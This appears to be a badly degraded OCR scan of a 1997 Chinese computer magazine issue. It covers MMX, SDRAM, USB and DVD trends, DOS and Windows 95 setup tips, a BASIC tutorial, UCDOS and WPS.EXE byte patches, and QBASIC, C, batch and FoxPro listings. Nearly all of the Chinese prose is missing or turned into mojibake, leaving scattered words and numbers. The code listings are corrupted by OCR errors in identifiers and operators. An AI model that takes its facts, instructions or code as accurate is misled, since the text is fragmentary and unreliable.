Al W i R T( B PR )

* o %

500 /
30

26 004
010 62534594 62542229—3055 100080

W E AT 1997 4.



1997 = AV $7 A IR

L]
IBM PC Wintel
IBM PC AT
( ISA )
( )
1997
ISA
PCI ISA 2MB/
50MB/
133MB/
1997
PCI Ultra SCSI( 640MB MO (
)) ISDN (128kbps Internet )
IEEE 1394( ) (
15 ) LAN 100BASE-TX CPU
MMX ( ) Pentium
SDRAM ( DRAM ) 2.5GB
HDD 100M B FDD
AGP( )
MMX  CPU
/
/ /
CPU
DSP ( ) DSP CPU
DSP
Intel NSP( )
DSP CPU
NSP
Intel NSP
MM X MMX

Computer Fan 1997 4.

MM X
MM X
MM X P55C
( MMX Pentium )
MMX MMX Pentium Pro
MM X DSP
DSP
Intel
MM X MM X
3000 MM X 1998
MM X
SDRAM
CPU
1995
FP( ) DRAM 1996 EDO(
) DRAM S( ) DRAM
“ " FP DRAM 35 45
(1 10 ) EDO DRAM
20 30 SDRAM 10 15
FP DRAM

L1



s

EDO DRAM
EDO
EDO DRAM
SDRAM DRAM
DRAM 72
SIMM ( ) SDRAM 168
DIMM ( )
SDRAM
CPU u "
SDRAM
“ " (burst)
( ) (
)
( ) (1) (2)
(3)
SDRAM
10 30
10
10
100 66
15
SDRAM DIMM
64 Pentium 1
SIMM 32 64  Pentium
SDRAM RDRAM
(Rambus DRAM ) Rambus
DRAM 600
RDRAM
1.67 9
600M B/ 5
3GB—10GB/ RDRAM
DRAM
SDRAM 1998
DRAM RDRAM
1998—1999
RDRAM

L12.

USB( )
IEEE 1349 USB 12M bps
IEEE 1349
100M bps—400M bps
USB 127 IEEE 1349 63
USB
IEEE 1394 [IEEE 1394
100M bps 200M bps 400M bps
1Gbps (G = 1000M )
IEEE 1394 DVD-ROM
HDD HDD
1997
33MB/ “ Ultra DM A /33" HDD
P10 ( 1/0) 4
( 16.6MB/ )
Ultra DMA/33  PIO
PIO CPU
Ultra DM A /33 (busmaster)
HDD DM A ( )
CPU HDD HDD
CPU CPU
HDD  MO( )
SCSI2 10M B/
HDD
SCSI2
20M B/ Ultra SCSI
Ultra SCSI
7 1.5
4 3 1.5 7
Ultra SCSI
4
3D
MMX CPU AGP(
)
(3D)
(texture)
100MB/ ( 640 x 480 ) 150MB/ (
800 x 600 ) PCI

s EAFE 1997 4.
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32 33
133MB/ HDD LAN
PCI
133MB/
AGP AGP 32 66
266
533M B/ AGP
AGP PCI
AGP
AGP
MPEG 2
30MB/ PCI
AGP 1997
AGP
* Audio Codec’ 97"
PCI 1997
Audio Codec’ 97 DVD
CD DVD
“ Dolby ( ) —AC3”
5 1 “ 5.1 "
Audio Codec’ 97
Dolby - AC3
Audio Codec’ 97
10 3.5 FDD
CD-ROM Internet
Internet
720KB 1.44MB
60K B/
Tomega “ Zip”
“ LS -120" UHC
100M B
1995 3 100M B Zip
1.4MB/ 170
16

Computer Fan 1997 4.

120MB  LS-120
0.67MB/

Windows3.1 95

Compaq

LS-120( )
UHC

2.5MB/

128MB 1996

Zip UHC

FDD 10
HDD
LS-120

3000rpm (/)

720rpm
720rpm
FDD 3 UHC

FDD 300rpm

HDD

Zip 1996

Zip 600

LS-120

UHC Zip
100M B

Zip LS-120

UHC
1997
DVD (GB)

DVD-ROM

650MB  CD-ROM

DVD-ROM CD-ROM 12
1.2

DVD-ROM
4.7GB CD-ROM 7
8.5GB CD-ROM MPEG 1
DVD 4

MPEG 2 135 1

CD-ROM  DVD-ROM

DVD-ROM
( ) CD-ROM

DVD 650 635
CD-ROM 780

DVD
DVD-Video
DVD-R

RAM
DVD-ROM  CD-ROM
1 DVD-RAM

DVD - ROM
DVD-RAM

DVD-RAM 2.6GB

.13.

1997

74

DVD



WA A& T 3
Intel MMX P55C
pPC PC
Intel
MM X Pentium PC
Intel Pentium/MMX  Pentium Pro/
MMX
Compaq HP Digital AST
1000 7%
~27% Dell
Apple Mac
27%
PC 1996
1997
2 24 pC
“ " E
P 15%
P Intel
166 P5/166 8M B 1GB
1.44 14 ,
23.2%
FP + Cherio (
A e
1996 PC 7090
1995 17.8% Compaq
pPC IBM Packard

Bell -NEC Apple HP

IDC

IBM Compaq HP

Intel HP

133M Hz

Dataquest
AST
NetPC (
Dell) NetPC
OEM OnNow
( ) 16M RAM
IEEE 1394
(
Internet
.14.

C )

ISP
Internet
(InfoWave Com-
munications Corp.) ! " (Chinese
Cyber City)
3 7 Office
5 3
# on £ L AL
(
) — MTV' 97
MTV’ 97 ATX MMX
Maxtor CrystalMax "™ 1080
M axtor
1.080GB,
<1lms (PRML)
2.0 2.0
Intel MM X ODBC
1.2
“ " Roboword2.0
" Inter-
net Roboword
“ " Roboview In-
ternet Roboword
1996 1 300
Windows NT
Motorola “ n e "
Windows 95 Windows 3.1
1995 Comdex “
” @
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1997 R MR FFH—4, ZWHRBEMNEEFIIBRESH—F, ZAHH
B R —F, BRNTFBREAE mAAR" R A FZzkm)az B
FE 1997 5, B KSR B @t ag 2 Kb A £ 1997 F, #éfed AR
HRAREBER . ZFABEFRRERRE; AL 1997 F, BT L —F2
K FE AT AT, TH o Fe REM F T BRA KR F B FA RS
w0, R fE PC #8415 BFZER, 478 “MADE IN CHINA” &9 % fin /2 & K 4F
TR EHERE A THRT TFRE ML FRBAIT AN TH G L@,

IDC ( ) CRC( )
Dataquest

1996

10%
1996 1S090001
2300
PC
NC BC
BC
1996
1996
1996
486
“ 96
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b

4 A DOS 741k B XA

U]
C \WPS REN ABC.BAK ABC.WPS
NORTON U- OK!ABC.WPS '
TILITY PCTOOLS DOS ! DOS
—~ RENAME"! REN
( ) “ BAK”
! DOS “ BAK" ?
DOS
“ BAK” REN
“ BAK” DOS TYPE
TYPE [DRIVE1 | [PATH] FILENAME >
?! [DRIVE2 ][PATH] FILENAME
ABC .WPS DIR DOS
C \ WPS !
ABC .BAK DOS ©

4 1. (Help,Readme,
About ) 2. DEM O (Demonstration) DEMO
Lottt /HYY -HY
arj —? format/? 3. DEMO DEMO
CAI(Computer-aided instruction
“FI” )
“ ALT + F1” “ CTRL + FI” “ H” “ ALT + H" CAIl “ " CAI
“ CTRL +H” 4. CAIl
Read.txt

Read.doc, Readme.txt, Help.doc, Help.txt,
Read.me, Read.exe, Readme.exe, Help.exe,
Help.com ( Edit WPS COMS
DOS ) ©

.16. W E A 1997 4.



BASIC FOR/

NEXT “
C\ DIR CPU "
( ) CPU CPU
DIR
5
CPU “ out memory” “ disk full”
. «
2MB 4MB 8MB 16M B
r
CPU
” CPU
CPU
?
!
CPU CPU
CPU
DOS DIR
? DIR CPU
CPU
CPU CPU CU ALU
CPU
(cu) (ALU) CPU ( )
'CcU “ " “
. “ o ( ) C\
ALU CU ( ) CPU
( CPU
)
P T T TR CPU
X=Y+7 CU Y 7 e bl R oo
s B e
Y Z A B : :
¢ X : :
Y Z ALU ¢ 47 ottt '
ALU
Y +7 C X
X=Y+Z
@

Computer Fan 1997 4. 7.



BAS

BASIC

Symbolic Instruction Code

Beginner’ s All - purpose

BASIC
16
16 —BASIC
1.LET
LET A=3
A=3 3
A LET
LET H =a +blog (t)
H=a+blog(t), [a+b10g(t)]
H log (t) t
BASIC
LET
A=3
H =a+blog(t)
H =a+blog(t)
t a b,
(H) t a.,b
LET 25
a= —7.5470,B = 6.0496,
LET t =25
LET a= -7.5470
LET b =6.0496
LET a,b a,b

LET H =a + blog
(t)
LET H = —7.5470 + 6.0496log (1)

2.INPUT

.18.

input
INPUT LET
INPUT a
a LET
LET
INPUT
LET
INPUT
LET a=25
INPUT a
25

LET H =a +blog (b)

INPUT H =a+blog(h)
INPUT

INPUT t=" 1t

INPUT t="t

3.DATA

DATA
DATA 25, -7.5470,6.0496
DATA
READ

4.READ
READ DATA
LET IN-
PUT READ
DATA
DATA

WG EAFE 1997 4.
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READ t,a,b
LET IN-
PUT DATA/READ 25 -
7.5470  6.0496 t,a b
LET
DATA/READ
INPUT

INPUT
DATA/READ DATA

READ

DATA

S.PRINT
PRINT

PRINT “ L
PRINT

LPRINT
INPUT
25
= -7.5470 b =6.0496 LET

a H =a + blog
(t H 0.91

PRINT
PRINT H
0.91
PRINT " HY
PRINT “ ?

0.91

0.91

PRINT INPUT

Computer Fan 1997 4.

PRINT H,a,b,t

18.5 —-7.5470
PRINT

6.049625 25
PRINT PRINT

PRINT a + blog (1)

a,b,t PRINT
0.91 LET
LET
PRINT
PRINT H =a +blog (1)
6.GOTO GO TO
Go to home, Go to school,
Go to bed, GO TO
GOTO
GOTO 100
100
100 100 GOTO
7.GOSUB
GO SUB
subprogram GOSUB
GO-
SUB GOTO
GOSUB 1000
1000
8.RETURN RETERN
RETURN GOSUB
RETURN
GOSUB RETURN
GOSUB GOTO
GOTO
GOTO
RETURN
(#5)
.19.



ALWAYS
)
F1~F10
R A R .I 53 F1 F2 F3 F4
‘ F5 F6
] F7 F8
F9 F1o  ( ESC )
ALT +F2 ALT +
RAR 1.53 F5 ALT +F6 ALT +
F7 ALT +F8
ARJ (.ARJ)
AR]J
RAR DOS
RAR RAR F9
ALT +P
ALT +W
( INS )
RAR
x x xKB
F1 F2 F3 F4
AV F5 F6
F7 F8
F9 F10 ALT +F4
ALT +F5 ALT +F7
ALT
ALT +C
ALT +D
Storing  ( ) ALT +J DOS SHELL
Fastest compression  ( ) ALT +M
Fast coompression  ( ) ALT +P
Normal compression  ( ) ALT +S
Good compression  ( ) ALT +W
Best compression  ( ) DOS RAR/?
OPTIONAL  ( ) ©

.20.
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UCDO0S6.0
1.
UCDOS6.0
UMB
UCDO0S6.0
UMB
UMB
2.UCSHELL—— DOS Windows
UCSHELL
DOS
UCSHELL DOS
Win-
dows DOS
3.
UCDOS
Modem ( Fax/Modem ) UCCOM
UCFAX
uccoMm UCFAX
4.
UMB
50K UMB
256
16 /

Computer Fan 1997 4.

10.

(

UucCbhOS

MODEM )

.21.



b

DOS DEVICE =C:\PDOS\PBIOS.SYS
PBIOS.SYS
AUTOEXEC.BAT
MS -DOS PATH = %PATH%; C:\
PDOS PID@S Eﬂ]@@@% PDOS C \PDOS
PATH
WIN- CSETUP.EXE
DOWS PWIN- 0
DOWS DOS
MS -
DOS PDOS CONFIG .SYS PBIOS.SYS
PDOS V6.22 PBIOS.SYS
PDOS MS - 19 120(19K )
DOS MS -DOS PDOS PDOS PDOS
PDOS #1 MS -DOS #5 V6.22 PDOS.BAT
PDOS MS-DOS (FONT16.EXE 2K )
(HZVIO .EXE 37K )
PDOS.BAT
MS -DOS V6.22 (HZKBD .EXE 17K )
DOS CSETUP
MS -DOS INSTDICT ( )
F3 PDOS
(CTRLPAN .EXE 5K ) PDOS
.o
PDOS Ctrl +
C PDOS Shift + Ctrl
Shift
F3
6M
CONFIG .SYS ©
Y& 6 S, vz ) .
K5 2B R E) Windows 95
L]
Windows 95 “ " Window s Windows 95 “
3.x “ " o “ ”
) Windows 95 “ \ \
Windows 95 “ "
" Windows 95
“ " “ ” Windows
“ " Windows 95 Windows 95
? Windows 3.2 ©
.22, u N EAFE 1997 4.



Wi ndows 95 49 & %£

nusnunuu
nononuon
ljnnununun

L]
(Before Setup)
1.Windows 95 0S( )
DOS 8M B
486
120M B Windows
95 80 ~ 100M B 70 ~ 85M B
Windows 95 C D
D
Setup Setup/ T x x x
X X X
Windows 95
2. SCANDISK (
SCANDISK/ALL)
Windows 95
3. DEFRAG
( DEFRAG [D 1/F)
4. CONFIG .SYS QEMM
EMM 386.EXE /
HIGHSCAN
Windows 95 CON-
FIG .SYS (real-mode)
Windows 95 “ DEVICE =

C \DOS\HIMEM .8YS"”

5. DOS
Windows 95
* Incorrect DOS
Version”
DOS Autoexec.bat PATH
6.
7.
CMOS Power Manage Dis-
able

Computer Fan 1997 4.

8. Virus Warning
BOOT Disable Windows 95
0S BOOT
9. DOS  Windows 3.x
(Screen Saver) 8M B
Windows

(During Setup) [
]

1. DOS
Windows 3.x Setup/ T: x x x
X X X
DOS
2. Windows 3.x (1)
Windows 95 (DLL)
Windows 3.x
(2) Windows 3.x
DLL DOS
10M B ~ 20M B
3.
(TSR) Windows 3.x
(Shell)
4. Shell
Setup/T x X X
5. “ ”
6. 30 ~ 60
(After Setup)
1.
2. CONFIG .SYS AUTOEX-
EC.BAT
(1) CONFIG.SYS
AUTOEX-
EC.BAT “ MSCDEX.EXE /D x x x”

.23.



8

-

>3

FUIFH Windows &

T | i
) < TS T LAt I Qs> v 4.
p Windows 35 2% 1/ 4 RO BR T 1
] U]
— R B B R AR A . BAK DOS
Shift '
. - e on 5 DOS
SR E AR B P 5 (
L. Alt ) Windows
1. Windows
2. Shift 2 “ "
3. “ "
4.
Shift c\(C )
Ctrl 5 “ "
Ctrl + Shift 6 “ ”
.- : (
) % .BAK
4. g ® - »
9 C \ x*
Ctrl BAK
Alt " Shift”
5. Ctrl “ Delete”
4 @
Windows 95 32 CDFS X7) l E |s }-@ 1997
(2) QEMM CONFIG .SYS
QEMM “ DOS-UP” 96
Windows 95 “ !
(3) Smartdrv Windows 95 ?
32 97 96
(4) Windows 95 1200
3.
Virus Warning  ( BOOT ) Win- !
dows 95
Windows 95 VMM32.VXD 10%
Y, 5 - |- m 2L,
FANSBHE W E G #E 5 F o
Windows 95
100080 010 - 62552810
©
.24, R 1997 4.



FEAWINOS TRAARWGHER

L]
WIN9S Sound Blaster 16
OPTI1 Sound blaster 16 Sound
( 1+1 blaster 16
OPTI ) WIN95
)
IRQ DMA (
WIN95 )
WIN95 DOS
WIN3.1 99%
WIN95 ( DOS
Sound Blaster Windows Sound Sys- IRQ DMA (DOS IRQ
tem  AdLib ) DMA DOS
) WINO95 F8 7
WINDOWS DOS SET
Blaster = AX IX DX HX I
Creative Labs IRQ D DMA @
Creative Labs Sound Blaster pro Creative WIN 95 DOS @) )
Labs Sound Blaster 16 or AWE - 32 (
16 Sound blaster 16 ©
un s
10] .EXE (D] ! "
1= JINF [M]
* Creative Labs” (L] “
é Creative Labs Modem Blaster 28.8"
% = Lo 4. Mo-
U “ " torola 14.4 “ " “
= s
E 6. (N S
gKx ,, “ o
zll S
5 [D] ) ”
= | 9 [H].
win95 10.
“ 11. “an\”
" “ " 12. “ Motorola VoiseSURFR Exter-
nal 14.4"
13. “ cCoM1”
“ " 14 ©
Computer Fan 1997 4. .25.
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Ves THEBQHK

N\

QIUBOJUN (WPS

WPS

)

Super-CCDOS6.0F

Ctrl

WPS

O

WPS

WPS.EXE PCTOOLS
WPS.EXE “ 11 09 15 02 OF 0A 15
OE" ( "QTUBOJUN )
ABCDEFGH “ 414243 44
45 46 47 48"

UCDO0S3.1 WPS
WPS.EXE PCTOOLS
WPS.EXE “ 19 OE 13 07 OB 09 17
OF” 8 “ 08 07 06
05 04 03 02 01"
ABCDEFGH “ 49 45 45 41
41 45 45 49"

UCDO0S5.0 UCDO0S6.0 WPS

WPS .EXE PC-
TOOLS WPS.EXE “ 130820D7
05 0D 01 07 19 05" (20 D7)

8 “ 0201 10 OF OE 0D 0OC

0B”
ABCDEFGH “ 43 43 53 4B
4B 4B 4B 43" ©

.26.
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ARJ T2 J Y
' = Qmxx/ J —
[]
ARJ arj m temp * .bak * .tmp -r
del temp.arj
BAK TMP
AR]
(96 11 1
9 11 30 ) BAK TMP
( Pctools5.0 cd\
BAK Window s arj m temp * .bak * .tmp -r -0961101 -
TMP Windows 0b961130
) del temp.arj
-r -o -ob recurse on on before
DOS  defrag/f norton
Pctools( 9.0)
BAK TMP
DOS
cd\ ©
D .1 .
UucCDOS 3 5.0 << 99
QUIT CTRL +F5 y
“ 4 UCDOS” I3V
N By
UCDOS “ " s
a5
UCDOS -3 =
) MODE CO80<
80 25 > 80 25
MODE
C
UcCDOS DOS AUTOEXEC .BAT
CLS PATH =C:\DOS( MODE )
DOS MODE.COM
UucCbhOS “ ESC” ©
Computer Fan 1997 4. .27.



]
UPS UPS UPS
| BEIEFX T UPS UPS
UPS 500V A
(1) UPS UPS
] 2.UPS Wik TAEF X #hikdE
UPS ups UPS UPS
170V UPS  bg
220V 50HZ
UPS
(2) UPS
UPS
(PWM)
220V 50HZ
UPS UPS
220V 50HZ UPS
2. BEHBEB TS, UPS UPS “ "
UPS UPS UPS
UPS UPS
UPS UPS
UPSs UPS
3. A& AerR KT 5 UPS
UPS UPS
5 - 10min UPS 1. #ATIEFAMKE UPS
1~ 10h
UPS ‘ urs
2 UPS
UPS 2
UPS UPS
2. it B A E UPS
UPS
UPS
1.UPS iR A ZeiLsF
UPS 5~
10min 3. #BRiFwERLE UPS
UPS UPS
UPS
0.6 ©
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FoxPro

———
| e—— D
———
FoxPro
FoxPro2.5 2.6 Fox-
Pro2.5b
Foxpro2.5b
FoxPro
FoxPro
FoxPro
FoxPro FoxPro
?SYS(2013)
FoxPro
FoxPro
FoxPro
Fox-
Pro for Windows (FoxPro
for DOS )
1. MODI MENU mymenu
mymenu
MENU Quick menu
mymenu.mnx
2. Prompt
.30.

“\ <File" “F ?
“ File” “ " “A
< File” AR
Options “ "
“ o »
3. “ O\ <Edit” 0\
<Database” . ..
4.
“F
? “ Edit” “F !
prompt “A
<New " “\ <N "
5. “ Menu Level”
“ Menu Bar”
4
6.
mymenu
Program Generate
mymenu.mpr
Command Do Mymenu.mpr
FoxPro
Config.fpw FoxPro
“ Command =Do Mymenu.mpr”
Set Sys-
menu to defa”
Browse Menu Text Fox-

Pro

“ Foxdoc” “ Foxpro”

W, KT

1997 4.



HH.BAS

Source Chinese text:

try . txt
Target file:

c: \fox \foxplus.exe

foxplus.exe

HH .BAS
REM HH.BAS
ON ERROR GOTO endd
DIM a AS STRING * 1
DOS PRINT

PRINT "1:Choose out English ASCIT" '

PRINT "2:Choose out Chinese: ! "
Foxplus PRINT "3: Choose out English ASCIIT and Chinese”

QBASIC

PRINT "4:Replace Changes to File”
PRINT "You select:”;
DO:a$% = INKEY $§: LOOPUNTIL a$ > = "1"AND a
$ < "5
PRINT a $
SELECT CASE a $
CASE "1"”
1% B 24 start $ = CHR $ (31): en$ = CHR $ (127)
GOTO hhl
CASE "2"
start § = CHR $ (126): en $ = CHR $ (255)
1.Choose out English ASCII GOTO hhl
2.Choose out Chinese CASE "3"
3.Choose out English ASCIT and Chinese stct$ = CHR$ (31): en$ = CHR $§ (255)
4 Replace changes to File GOTO hhl
You select : CASE "4"
1 GOTO hh2
Source File: END SELECT
c: \fox \foxplus.exe
Target File[SCR]: hhl: INPUT "Source file:"; sf $
try .txt OPEN sf $ FOR BINARY AS #1
( try .txt INPUT "Target file:"; tf $
) IFtf$ = " THEN tf$ = "con”
String Lenth: OPEN tf § FOR OUTPUT AS #2
4( 4 ) INPUT "String lenth:"; strlen
QBA-  FORi=1TO0LOF(1)
num = 0
GET #1,1i, a
EDIT CCED ~ WPS * N” IFa<en$ ANDa > start § THEN
try .txt ( add = i:strir$ = a
Ny DO
num = num + l:1 =1+ 1
GET #1,1, a
IFa<en$ AND a > start $ THEN strr$ = strr$ + a
LOOP UNTIL a < start$ OR a > en $

foxplus.exe HH .BAS

SIC
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WINO95
OFFICE
"
386
286
UCDOS
ucDOS
UCDOS
(UCDO0S5.0)
UCDOSS5.0
UCDOS5.0
RD16.COM  25.4KB
KNL.COM  33.4KB
VGA.DRV  8.0l1KB VGA
ASC16 4K B ASC
HZK 16 261K B 16 x 16

U]
QUIT.COM  1KB UCDOS
C\ UC-
DOS\ UCDOS.BAT
@ECHO OFF
C \UCDOS\RD16
C \UCDOS\KNL
UCDO0S5.0
3 KB
E-
GA .DRV (EGA ) HGC.DRV(
) VGA .DRV
UCDOS
WB.COM WB.OVR UcC-
DOS .BAT
C \UCDOS\WB
UCDOS
WPS
56 KB

CRtE# 5 RERER )

Ve Az Az Wz Jz Az e Wz Az Wz Az e e e Wz e Ve e Je e e e e Ve e e e e e Ve e Ve e Ve e e e e e e e e

IF num > = strlen THEN PRINT #2, add, "[”; strr § ;
//]/I

END IF

NEXT i

CLOSE #1

CLOSE #2

PRINT "OK!”

END

hh2: INPUT "Source Chinese text:”; s $
INPUT "Target file:"; t §

IFs$ = "ORt$ = "THEN END
OPEN s $ FOR INPUT AS #1

.32,

OPEN t $ FOR BINARY AS #2
DO WHILE NOT EOF(1)

LINE INPUT #1.b$

num = VAL(LEFT $ (b §, 14))

c$ =MID$ (b$, 16, LEN(b$) - 16)
PUT #2, num, c$

LOOP

CLOSE #1

CLOSE #2

PRINT "OK!"

END

endd: PRINT "Wrong!”: END

©
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WORD

WORD
“ Calendar "
1.
WORD 6.0
1997
1~12
2.
1997
WORD

Computer Fan 1997 .

“

“ Calendar

Calendar

/j\\/\/\/\ 2 2 2 28 22 22 78 ZaZa Za T ~a S 2SS S8 S\l

TIEWORD #ER

L]

WORD

WORD
Microsoft WordArt

* Microsoft WordArt 2.0"

WINDOWS

bullmrkt .wmf"

1~12

.33.




G &38R 6 R S D 6 o

[ 4
) »

I @

scroll.c SPDOS6.0F
24 ( )

clib24j.dot

scroll.c
/% scroll.c* /
/*CPU 486 DX2/66 MEMORY 8M Turbo C V2.0% /
# include < stdio.h >
# include < graphics.h >
#include < alloc.h >

# define SEG 0xa0000000 /> */

# define SIZE 20 />* */

pu124hz(x1,y2,cc,direction)/7\‘ 24 */

int x1,y2,direction;

/% x1 ;y2 ; direction
x/

char *cc;/* */

{
char far *seg = (char far * )SEG ;
int j, k, locate/ * * /, size =0/ %

.34,

*/;
unsigned char ¢[SIZE] [72]/ * */,qm/
* */,wm/* */;
FILE *fp;
fp = fopen ("clib24j.dot", "th") ; /% */
while ( % cc)
{
qm = *cc+ + - 161;
wm=*cc+ + —161;
if (qm < 15)locate = qm * 94 + wm ;
else locate = (qm —4) % 9% +wm;
fseek (fp,locate * 72L ,SEEK-SET ) ; /* */
fread(c[size],72,l,fp);/‘«’< */
for(k =03k <3;k + + ) /% */

for(j=0;j<24;j+ +)

* (seg+x1+j*%80+k+ (y2+direction) *80) =c[sizel

[k *24 +jl;

size + +

x1l+ =3;

}

fclose(fp) 3/ * */

}

up-scr(xl,yl,x2,y2,cc)/7'< */

int x1,yl,x2,y2; /* xlyl ;x2y2
3x/

char *cc; /* */

{

char far *seg= (char far *)SEG;

int i=0,j,k;

put24hz(x1,y2,cc, —-24);

for(k =0:k <24;k + +) /%

for(i:yl;i<y2;i+ +)

for(j=0;j< (x2-x1)/8;j+ +)

{

* (seg +i%80+j+x1) =% (seg+ (i+1)*80+j+x1);

‘f'f(seg+(i+l)*80+j+xl)=0;

~

}

}

down-scr(x1,y1,x2,y2,cc) /% */

int x1,yl,x2,y2;/% x1yl ;x2y2
3%/

char *cc;/>* *x/

{

char far *seg = (char far % )SEG;
int i=0,j,k;
pu124hz(xl,yl,cc,24);

for(k =24;k> =0;k - - )/ */
for(i=y2;i>yl;i- -)
f'()r(j=0;j<(x2—x1)/8;j+ +)

{

*(seg+i*80+j+xl)= *(seg+ (i—l)*80+j+x1);
* (seg+ (i-1)%80+j+x1)=0;

1

}

main ()

{

int gr =DETECT ,mo;

int 1;
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L]
DOS
D GAME\
GAME1 playl.exe
1
C \>d:
D \>cd\game\gamel
D \GAME\GAME1 > play1
2 AUTOEXEC.BAT
PATH = %PATH% ; C:\GAME\GAME1
play 1 1
DOS
3 P1.BAT
@ECHO OFF
D
CD \GAME\GAME1
PLAY1.EXE
@ECHO ON
pl
GAMEI1
3
256M B 512M B 8KB,
512M B 1024M B 16KB
initgraph (& gr, &mo,” ") ;
up-scr (100, 100,500,400, " ")
up-ser (100, 100,500,400,") ; /% */
up-scr (100, 100,500,400,” ")
for(i=0;i< =11;i+ +) up-ser(100,100,500,400,");
down-ser (100, 100,500,400," "),
down-scr (100, 100,500,400,") ;
dow n-scr (100, 100,500,400, " "),
for(i=0;i< =11;i+ + ) down-ser(100,100,500,400,") ;
closegraph () ;
) @

Computer Fan 1997 4.

H o
.D

A

M .BAT

@ECHO OFF
IF "%1"= =""GOTO MENU
GOTO %1

:BC

C:

CD \MYFILE
C:\BC\BIN\BC.EXE
GOTO END

:BDC

C:

CD \BDC
BDC.EXE
GOTO END

:P1

D:

CD \GAME\GAME1
PLAY 1.EXE

GOTO END

:MENU
ECHO A Borland C + + 3.1
ECHO B BDC 3.0
ECHO C GAMEI
CHOICE /C:ABC Choose a option
IF ERRORLEVEL 3 GOTO P1
IF ERRORLEVEL 2 GOTO BDC
IF ERRORLEVEL 1 GOTO BC
:END
@ECHO ON

M .BAT

Borland C + +

“

m be"

C \ DOS

.35.



?

clea

clea all

set talk off

set safe off

defi wind bb from 05,15 to 12,65 colo sche 5 shad
sele 1

use jezl

sele 2

use kfz1

inde on allt (fp) + allt (str(sl,15,3) )to mfph
sele 1

do while.not .eof ()

aa = allt (fp) + allt (str(sl, 15,3))

sele 2

seek aa

if .not.eof ()

repl dzf1 with’ !
sele 1

repl dzfl with’ !
endif

sele 1

skip

enddo

sele 1

sum all sl to vv for dzf1=" !

sum all sl to ww

[]
list for dzfl< >’ 'to prin
use
close all
retu
* foxpro2.5 for dos UCDOS5.0
IBMPC !
JEZ1.DBF KFZ1.DBF
Field Field Name Type Width  Dec
1 RQ Date 8
2 PH Character 6
3 PZ Character 8
4 SL Numeric 15 3
5 JE Numeric 17 2
6 FP Character 8
7 BH Character 4
8 SHWD Character 32
9 DJ Numeric 17 2
10 YFJE Numeric 17 2
11 SWDJHC Character 15
12 DZF1 Character 6
* % Total * % 154

sele 2 ©
sum all sl to vv1 for dzfl =" !
sum all sl to ww 1 \ / |
if vv< >vvl J\EEEI DOS %T}E%E@/J\%ﬂi}%
wait’ s s
1" wind ‘:‘
sele 1
repl all dzfl with "0’ DOS -INT 21
-MOV DX,BX
sele 2 o -MOV BX,ES
repl all dzfl with "0’ _MOV DS.BX
use ( -MOV AX,2505
close all _INT 21
retu ) ~POP BX
endif —POP ES
acti wind bb -POP DS
@01,12 say ' " get vy ) ~INT 20
@02,12 say ' "get ww EXIT1.COM -RCX
@04,12 say ' "get vvl DOS -W
@(?5,’12 say ' "get ww 1 C_({ .
e : ‘ €:\>DEBUG EXIT1.COM AU-
) " wind -N EXIT1.COM
deac wind bb -A100 TOEXEC.BAT
sele 1 -PUSH DS
list for dzfl < > " to prin -PUSH ES DOS (
wait " wind -PUSH BX
) -MOV AX,3500 486DX 66 ) ©
sele 2
.36. W Z AT 1997 4.




Y

Borland C

SDK (Software Development
Borland
Tlib.exe ?

Kits) 7

WFEILY Beda T

N
]

mysdk .obj;

N»—‘)‘m

c:\te>tlib mysdk.lib + mysdk.obj
3 mysdk.h
mysdk.lib
4 mysdk .lib
5 teel
Itest mysdk .lib;
test mysdk . lib
C
mysdk.lib
SDK
c:\te>tlib mysdk.lib, mysdk.Ist
mys-
dk .lib
TLIB.EXE
SDK mysdk .lib “ i
TC BC
BGI Error: Graphics not initialized

Computer Fan 1997 4.

(use ’initgraph’)

E-
GAVGA .BGI
BGIOBJ.EXE
EGAV-
GA .BGI

c:\tc > bgiobj egavga.bgi,

egavga.obj
c:\tc > bgiobj /F egavga.obj egavgaf .obj
c:\tc> tlib graphics.lib + egav-

ga.obj( )

_dirver)
_dirver _far)

egav-

registerbgidriver (EGAVGA
registerbgidriver (EGAVGA

ga.bgi

mysdk .lib

#include "dos.h”
# include "conio.h”
int color1[7691,color2[769];
void noplay (void) /% */
{
while ((inp (0x3da) & 8) = =0);
while((inp(0x3da) & 8) = =8)
0utp(0x3c4,1);
0utp(0x305,inp(0x305) | 0x20) ;
}
void display (void) /% */
{
while ((inp (0x3da) & 8) = =0);
while((inp(0x3da) & 8) = =8)
outp (0x3c4,1);
0utp(0x305,inp(0x305) &O0xdf) ;
}
void getchcolor (void) /* */
{
int i,color;
for(i=0;i<768;){
outportb (0x3¢7,i/3) ;
color = inporth (0x3c9) ;
color1[i] = color2[i+ + | =color;
color = inporth (0x3c9) ;
color1[i] = color2[i+ + | =color;
color = inporth (0x3c9) ;
color1[i] = color2[i+ + ] =color;
}
1
void cheolor (char chmode) /3 )
*/
{
int i,j,sign=1,k;
if (chmode) {
while (sign! = 0) {
sign = 0;
for(i=0;1<256;i+ +){
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SAVE .ICO
ol >
FOXPROW2.5
] MENU .MPR WINDOWS * " “
WINDOWS3.2 MENU .MPR [ 1I—I l—
[ l—1 FOXPROW .EXE] — [
] MENU .MPR FOXPROW .EXE
4. WINDOWS “ "
[ J—I J—I
1. WINDOWS * " ] —1 —_—
MENU .MPR—— e
]_
2. CAPTICO .EXE WINDOWS
WINDOWS
) ALT—TAB “ "
CAP-
TURE « » @
for(j =0;j<35j+ + ) { 0utp0rtb(0x3c9,co|0r1li* 3+2]);
if(colorl[i*3+j]! =0){ delay(l);
sign = 1; }
color1[i*3+j]- —; ) )
}
} return;
outportb(Ox?:cS,i); }
outporth (0x3c9,color1[i*3]); . " . "
outporth (0x3¢9,color1[i* 3+ 1]); i izjﬁji ,,rgnr;rjll(lr;,}l
Sufpn(rtlk;(Ox 3¢9, colorl[i*x3+2]); void main ()
elay ;
) int ¢d =DETECT ,gm:
} registerbgidriver (EGAV G A-driver) ;
L ) ( initgraph (& gd, & gm ,”) ;
Lo
while(si’ nl=0) selc'ulor(WHITE);
i og setfillstyle (1, DARKGRAY ) ;
Sen Ty . bar (0,0,639,479) ;
?HE%:(O);%< §5.6;1 + )+{){ outtextxy (100,200, Hello ! World!”) ;
or(j=0;j<3;j+ + disol .
if.(coluil[i* 3+jl! =color2[i*3+j]){ g!:stihago(l());();
sign = 13 . % s
color1[i*3+jl+ +; cheolor (1); / /
| gelch();
) cheolor(1); /* */
0utp0rtb(0x308,i); gelch();
outporth (0x3c9,color1[i* 3]); closegraph () ;
outporth (0x3c9,color1[i* 3+ 1]); 1 ©
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VERCD[DRIVE]
[DRIVE] VERCD .BAT
@echo off
c:\
if "%1!"= ="1"goto error

echo @CD % %2 > c:\director.bat

